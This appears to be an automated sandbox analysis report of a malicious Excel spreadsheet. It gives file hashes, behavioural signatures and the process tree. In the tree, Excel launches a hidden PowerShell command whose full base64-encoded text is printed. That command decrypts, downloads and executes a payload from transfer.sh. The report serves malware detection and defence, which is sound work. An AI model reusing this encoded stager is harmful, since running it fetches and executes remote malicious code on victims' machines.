Analysis
-
max time kernel
21s -
max time network
22s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
29-03-2023 14:39
Behavioral task
behavioral1
Sample
compta_breizh (1).xls
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
compta_breizh (1).xls
Resource
win10v2004-20230220-en
General
-
Target
compta_breizh (1).xls
-
Size
580KB
-
MD5
1149360d266ca100ff6a7ce2a8414d53
-
SHA1
ff87dbe2730be9fb594a337e857b5f5c235e2005
-
SHA256
27a6ab7e03075bcc4873b52d67d83d2e61067282c8d4376d8a1778eda385b68a
-
SHA512
e885178f839dfbc5e7fc4012bce4a5d646d4c287841a76bf19fbdb51cc688cb3c51a724ffdfab0269f628d5364a6a1680284b9bb3f63e049f44132168f2e76e9
-
SSDEEP
6144:Ik3hbdlylKsgqopeJBWhZFVEUr3M/sItOd/AIIuY3/RsxRIA2e6FngrNv8zKCq/i:jY3ecALrquDK
Malware Config
Extracted
https://transfer.sh/get
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3336 1008 powershell.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 16 3336 powershell.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1008 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3336 powershell.exe 3336 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3336 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 1008 EXCEL.EXE 1008 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 1008 EXCEL.EXE 1008 EXCEL.EXE 1008 EXCEL.EXE 1008 EXCEL.EXE 1008 EXCEL.EXE 1008 EXCEL.EXE 1008 EXCEL.EXE 1008 EXCEL.EXE 1008 EXCEL.EXE 1008 EXCEL.EXE 1008 EXCEL.EXE 1008 EXCEL.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
EXCEL.EXEdescription pid process target process PID 1008 wrote to memory of 3336 1008 EXCEL.EXE powershell.exe PID 1008 wrote to memory of 3336 1008 EXCEL.EXE powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\compta_breizh (1).xls"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JABLAD0AWwBTAHkAcwB0AGUAbQAuAFQARQBYAFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAFQAQgB5AHQAZQBTACgAJwA3AEgAQwAyAHMAbgA4AEMAYQB4AEcANAB1AGUAVABIAGEANQBnAFMAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAFMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAE8AVQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJAB2AGkAPQBbAFMAeQBzAHQAZQBtAC4AVABFAFgAVAAuAEUATgBDAE8ARABJAE4AZwBdADoAOgBBAFMAQwBJAEkALgBHAEUAVABCAHkAdABlAFMAKAAnAGoANwBTADEAJwApADsAJABfAC0AQgBYAE8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABmAHEAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwA3ADgATQBtAEgAcwBqAEoAeQBTAEUASAAwADUAbgB5AFUAcwBrADkAcABmAGcATwBxAFcAcwBMAFMAQgBMAE8AJwApADsAJABmAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGYAcQAgACgAJAB2AGkAKwAkAGsAKQApADsAJABXAGMAPQBOAEUAVwAtAE8AQgBqAEUAQwB0ACAAUwBZAHMAdABFAE0ALgBOAGUAVAAuAFcARQBCAEMAbABJAEUATgB0ADsAJAB0AD0AJwBoAHQAdABwAHMAOgAvAC8AdAByAGEAbgBzAGYAZQByAC4AcwBoAC8AZwBlAHQAJwA7ACQAcwBlAHIAPQAnAGcAdAB3AEMAYQB0ADMAbQA0ADMANQBiAHcAYwAzAHAAZABRAD0APQAnADsAJABkAGEAdABhAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcwBlAHIAKQA7ACQASABKAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGQAYQB0AGEAIAAoACQAdgBpACsAJABrACkAKQA7ACQAZABhAHQAYQA9ACQAVwBDAC4ARABvAHcAbgBsAG8AQQBEAEQAQQBUAEEAKAAkAHQAKwAkAEgASgApADsALQBKAG8AaQBOAFsAQwBIAGEAcgBbAF0AXQAoACQARABhAHQAQQApAHwASQBFAFgA2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ghahayrb.2eh.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/1008-133-0x00007FFB14BD0000-0x00007FFB14BE0000-memory.dmpFilesize
64KB
-
memory/1008-134-0x00007FFB14BD0000-0x00007FFB14BE0000-memory.dmpFilesize
64KB
-
memory/1008-135-0x00007FFB14BD0000-0x00007FFB14BE0000-memory.dmpFilesize
64KB
-
memory/1008-136-0x00007FFB14BD0000-0x00007FFB14BE0000-memory.dmpFilesize
64KB
-
memory/1008-137-0x00007FFB14BD0000-0x00007FFB14BE0000-memory.dmpFilesize
64KB
-
memory/1008-138-0x00007FFB12B70000-0x00007FFB12B80000-memory.dmpFilesize
64KB
-
memory/1008-139-0x00007FFB12B70000-0x00007FFB12B80000-memory.dmpFilesize
64KB
-
memory/3336-201-0x000001E29C000000-0x000001E29C022000-memory.dmpFilesize
136KB
-
memory/3336-202-0x000001E2B4650000-0x000001E2B4660000-memory.dmpFilesize
64KB
-
memory/3336-203-0x000001E2B4650000-0x000001E2B4660000-memory.dmpFilesize
64KB
-
memory/3336-204-0x000001E2B4650000-0x000001E2B4660000-memory.dmpFilesize
64KB